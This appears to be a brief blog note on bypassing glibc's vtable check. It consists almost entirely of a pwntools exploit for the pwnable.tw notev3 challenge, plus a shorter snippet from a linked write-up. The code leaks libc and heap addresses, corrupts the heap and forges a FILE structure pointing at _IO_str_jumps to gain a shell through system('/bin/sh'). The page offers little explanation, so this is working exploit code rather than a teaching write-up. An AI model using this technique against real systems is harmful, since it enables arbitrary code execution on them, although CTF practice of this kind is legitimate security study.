Vtable check bypass
예제 pwnable.tw notev3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * #context.log_level = 'debug' def make_note(size,title): r.sendlineafter('>','1') r.sendlineafter('Size:',str(size)) r.sendafter('Title:',title) def make_note1(size,title,note): r.sendlineafter('>','1') r.sendlineafter('Size:',str(size)) r.sendafter('Title:',title) r.sendafter('Note:',note) def edit_note(idx,data): r.sendlineafter('>','2') r.sendlineafter('Note:',str(idx)) r.sendafter('Data:',data) def list_note(): r.sendlineafter('>','3') #r=process('./challenge',env={'LD_PRELOAD':'alpine-libc-2.24.so'}) r=remote('svc.pwnable.xyz',30041) win=0x4008a2 script=''' ''' _IO_str_jumps_off=0x390500 #debug = +21640 #server = -(libc.symbols['__malloc_hook']+88+0x10) e=ELF('./challenge') libc=ELF('./alpine-libc-2.24.so') make_note(-1,'AAAA')#1 edit_note(0,p64(0)+p64(0x31)+p64(0)*5+'\xb1\x0f\x00'+'\x00'*0xff) make_note1(0x1000,'\n','\x00'*0xff)#2 make_note(-1,'AAAA'*2)#3 list_note() r.recvuntil('A'*8) value=u64(r.recvuntil('\x7f').ljust(8,'\x00')) log.info(hex(value)) libc_base=value-(libc.symbols['__malloc_hook']+88+0x10) _IO_list_all=libc_base+libc.symbols['_IO_list_all']-0x10 log.info(hex(libc_base)) log.info(hex(_IO_list_all)) heap_leak=p64(0)+p64(0x31)+'A'*72 edit_note(0,heap_leak) list_note() r.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') heap=u64(r.recv(4).ljust(8,'\x00').replace('\x3a','\x00'))-0x50 log.info(hex(heap)) payload=p64(0)+p64(0x31)+p64(0)*4 fake=p64(0)+p64(0x61)+p64(libc_base)+p64(_IO_list_all) fake+=p64(2)+p64(3) fake+=p64(0)+p64(libc_base+list(libc.search('/bin/sh'))[0]) fake+=p64(0)*0x10 fake+=p64(0) fake+=p64(0)*2 fake+=p64(libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x8) fake=fake.ljust(0xe8,'\x00') fake+=p64(win)*40 payload+=fake edit_note(2,payload) r.sendlineafter('>','1') r.sendlineafter('Size:','1') #gdb.attach(r,script) r.interactive() | cs |
https://st4nw.github.io/glibc2.24-orange
1 2 3 4 5 6 7 8 9 10 | fake = p64(0) + p64(0x61) fake += p64(0) + p64(_IO_list_all-0x10) fake += p64(2) + p64(3) fake += p64(0) + p64(binsh) # _IO_buf_base fake += p64(0) * 0x10 fake += p64(0) # mode fake += p64(0) * 2 fake += p64(_IO_str_jumps-0x8) fake = fake.ljust(0xe8, '\x00') fake += p64(system) | cs |